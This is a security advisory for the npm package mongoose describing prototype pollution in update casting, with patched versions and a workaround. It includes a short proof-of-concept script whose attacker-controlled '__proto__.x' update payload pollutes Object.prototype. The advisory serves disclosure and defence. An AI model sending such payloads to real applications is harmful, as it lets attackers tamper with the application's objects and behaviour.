npm · mongoose
Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)
What kind of vulnerability is it? Who is impacted?
Prototype pollution in update casting: passing a user-controlled update to a Mongoose update, like MyModel.updateOne(filter, req.body), can cause Mongoose to set $fullPath and $parentSchemaDocArray on Object.prototype.
Example:
const mongoose = require('mongoose');
console.log('before:', Object.prototype.$fullPath); // undefined
const User = mongoose.model('User', new mongoose.Schema({ name: String }));
const malicious = JSON.parse('{"$set": {"__proto__.x": "anything"}}'); // attacker-controlled update
const q = User.updateOne({}, {});
try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }
console.log('after :', Object.prototype.$fullPath); // "__proto__"
console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath')); // true
console.log('fresh {}:', ({}).$fullPath); // "__proto__"
Has the problem been patched? What versions should users upgrade to?
9.7.2, 8.24.1. 7.8.10, 6.13.10
Is there a way for users to fix or remediate the vulnerability without upgrading?
Check user-controlled updates for own __proto__ properties before passing to Mongoose
Are there any links users can visit to find out more?
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.